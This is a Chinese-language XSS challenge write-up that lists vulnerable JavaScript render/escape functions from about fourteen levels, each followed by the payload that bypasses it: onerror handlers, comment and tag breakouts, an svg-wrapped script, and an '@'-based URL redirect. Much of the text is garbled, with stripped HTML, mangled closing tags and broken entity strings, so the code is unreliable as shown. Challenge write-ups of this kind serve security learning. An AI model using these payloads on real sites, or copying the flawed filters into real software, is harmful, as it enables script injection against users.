目录
一:function render (input) { return '
二:function render (input) { return '' + input + ''}
三:function render (input) { return ''}
六:function render (input) { input = input.replace(/-->/g, '😂') return ''}
七: function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return ``}
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '') return `
九:function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` `}
编辑 十二:function render (input) { input = input.toUpperCase() return `
return segments.map(function(title, index) { // title can only contain 15 characters return '
为什么要加svg,svg命名空间
解法:
解法:
- </textarea>
-
- 题目:
- function render (input) {
- const stripBracketsRe = /[()]/g
- input = input.replace(stripBracketsRe, '')
- return input
- }
解法:
- 1 onerror="alert(1)"
-
- 题目:
- function render (input) {
- const stripBracketsRe = /[()`]/g
- input = input.replace(stripBracketsRe, '')
- return input
- }
解法:
- --!><script>alert(1)script><--
-
- 题目:
- function render (input) {
- input = input.replace(/-->/g, '😂')
- return ''
- }
解法:
- type="image" src=1 onerror
- =alert(1)
-
- 题目:
- function render (input) {
- input = input.replace(/auto|on.*=|>/ig, '_')
- return `<input value=1 ${input} type="text">`
- }
解法:
- 1 onerror="alert(1)"
-
- 题目:
- function render (input) {
- const stripTagsRe = /<\/?[^>]+>/gi
-
- input = input.replace(stripTagsRe, '')
- return `
${input} ` - }
解法:
- ><script>alert(1)script>
-
- 题目:
- function render (src) {
- src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
- return `
-
- ${src}
-
- `
- }
十:function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return ``
}
return 'Invalid URL'
}
解法:
- http://www.segmentfault.com">
-
- 题目:
- function render (input) {
- let domainRe = /^https?:\/\/www\.segmentfault\.com/
- if (domainRe.test(input)) {
- return ``
- }
- return 'Invalid URL'
- }
十一:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/ .replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return ``
}
return 'Invalid URL'
}
解法:
- http://www.segmentfault.com@127.0.0.1/test.js
-
- //@ 可以重定向到@后面的连接中
-
- 题目:
- function render (input) {
- function escapeHtml(s) {
- return s.replace(/&/g, '&')
- .replace(/'/g, ''')
- .replace(/"/g, '"')
- .replace(/, '<')
- .replace(/>/g, '>')
- .replace(/\//g, '/')
- }
-
- const domainRe = /^https?:\/\/www\.segmentfault\.com/
- if (domainRe.test(input)) {
- return ``
- }
- return 'Invalid URL'
- }
十二:function render (input) {
input = input.toUpperCase()
return `${input}
`
}
解法:
-
- 题目:
- function render (input) {
- input = input.toUpperCase()
- return `<h1>${input}h1>`
- }
十三: function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '
';
}).join('\n');
}
解法:
- "><script>/*#*/prompt(/*#*/1)/*#*/script>
-
- 题目:
- function escape(input) {
- // pass in something like dog#cat#bird#mouse...
- var segments = input.split('#');
- return segments.map(function(title) {
- // title can only contain 12 characters
- return '<p class="comment" title="' + title.slice(0, 12) + '">p>';
- }).join('\n');
- }
十四:
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '
';
}).join('\n');
}
解法:
- "><svg><script>prompt(1)script>
-
-
- 题目:
- function escape(input) {
- // sort of spoiler of level 7
- input = input.replace(/\*/g, '');
- // pass in something like dog#cat#bird#mouse...
- var segments = input.split('#');
-
- return segments.map(function(title, index) {
- // title can only contain 15 characters
- return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'>p>';
- }).join('\n');
- }
为什么要加